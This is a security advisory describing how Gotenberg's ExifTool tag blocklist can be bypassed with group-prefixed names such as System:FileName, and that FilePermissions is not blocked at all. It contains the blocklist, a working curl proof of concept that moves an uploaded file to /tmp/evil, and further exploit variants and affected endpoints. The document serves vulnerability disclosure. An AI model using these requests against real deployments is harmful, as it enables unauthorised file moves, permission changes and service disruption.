Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move
Summary
Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — System:FileName — which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.
This bypasses the fix from [GHSA-qmwh-9m9c-h36m](https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m).
Details
Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John.
That's exactly what happens here:
The blocklist (exiftool.go line 275-280) blocks these tag names:
```
FileName
Directory
HardLink
SymLink
```
The check (exiftool.go line 295-301) compares what the user sent against this list:
```go
if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"?
delete(metadata, key) // no — so it's NOT deleted
}
```
System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.
But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix — like a folder name before the tag. System:FileName and FileName both mean "rename this file." The [ExifTool docs](https://exiftool.org/exiftool_pod.html) say: *"A tag name may include leading group names separated by colons."*
Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:
```go
var safeKeyPattern = regexp.MustCompile(^[a-zA-Z0-9\-_.:]+$)
// ^ colon is allowed
```
So the full chain is:
1. Attacker sends System:FileName → passes the regex (colon is allowed)
2. System:FileName → passes the blocklist (it's not equal to FileName)
3. ExifTool receives System:FileName → treats it as FileName → renames the file
Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.
PoC
Setup — start Gotenberg with default settings:
```bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
```
Create a folder inside the container where we'll move the file to:
```bash
docker exec gotenberg-poc mkdir -p /tmp/evil
```
Send the attack — one curl command:
```bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F '[email protected]' \
-F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'
```
This returns HTTP 404 because the file got moved before the server could return it.
Check that the file actually moved:
```bash
docker exec gotenberg-poc ls -la /tmp/evil/
```
Result:
```
-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf
```
The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory — exactly what the blocklist was supposed to prevent.
Proof that the existing blocklist works for bare names (control test):
```bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
-F '[email protected]' \
-F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'
```
This returns HTTP 500 — the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.
Other ways to exploit the same bug:
system:filename (lowercase) — also works because ExifTool is case-insensitivesystem:directory — moves the file to any writable folderFilePermissions — changes the file's permissions (this tag is simply missing from the blocklist entirely)
Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.
Impact
Any person who can send HTTP requests to Gotenberg (no login needed by default) can:
- Move files anywhere inside the container by using
System:Directory - Rename files to anything by using
System:FileName - Change file permissions by using
FilePermissions (this tag is not blocked at all) - Break the service for other users — when a file gets moved mid-request, the server returns 404 errors
In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder
